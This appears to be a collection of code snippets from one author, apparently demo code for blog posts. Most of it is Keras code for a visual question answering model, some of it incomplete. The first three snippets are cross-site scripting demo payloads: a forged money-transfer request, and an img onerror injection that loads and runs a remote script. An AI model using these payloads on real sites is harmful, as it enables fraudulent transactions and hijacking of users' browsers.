vzhou842

const body = new URLSearchParams('amount=5000&description=Gotcha!&to=XSS-Attackers');
fetch('/transfer', {
  body,
  method: 'post',
});

vzhou842

const a = document.createElement('script');
a.src = 'https://victorzhou.com/xss-demo.js';
document.body.appendChild(a);

vzhou842

<img src="#" onerror="const a=document.createElement('script');a.src='https://victorzhou.com/xss-demo.js';document.body.appendChild(a);" />

vzhou842

# Train the model!
model.fit(
  # Reminder: train_X_seqs is from this post's BOW section
  [train_X_ims, train_X_seqs],
  train_Y,
  validation_data=([test_X_ims, test_X_seqs], test_Y),
  shuffle=True,
  epochs=8, # somewhat arbitrary, try more epochs if you have time!
  callbacks=[checkpoint],
)

vzhou842

from keras.callbacks import ModelCheckpoint

checkpoint = ModelCheckpoint('model.h5', save_best_only=True)

vzhou842

from keras.utils import to_categorical

# Create model input images
train_X_ims = [train_ims[id] for id in train_image_ids]
test_X_ims = [test_ims[id] for id in test_image_ids]

# Create model outputs
train_answer_indices = [all_answers.index(a) for a in train_answers]
test_answer_indices = [all_answers.index(a) for a in test_answers]
train_Y = to_categorical(train_answer_indices)

vzhou842

from easy_vqa import get_train_image_paths, get_test_image_paths
from keras.preprocessing.image import load_img, img_to_array

def load_and_proccess_image(image_path):
  # Load image, then scale and shift pixel values to [-0.5, 0.5]
  im = img_to_array(load_img(image_path))
  return im / 255 - 0.5

def read_images(paths):
  # paths is a dict mapping image ID to image path

vzhou842

from easy_vqa import get_train_questions, get_test_questions, get_answers

# Read question data
# (we already did this in the BOW section, remember?)
train_qs, train_answers, train_image_ids = get_train_questions()
test_qs, test_answers, test_image_ids = get_test_questions()

# Read answer data
all_answers = get_answers()

vzhou842

from keras.models import Model
from keras.optimizers import Adam

# The CNN
im_input = # ... code from above

# The question network
q_input = # ... code from above

# Merge -> output

vzhou842

# Merge -> output
out = Multiply()([x1, x2]) # from previous section
out = Dense(32, activation='tanh')(out)
out = Dense(num_answers, activation='softmax')(out)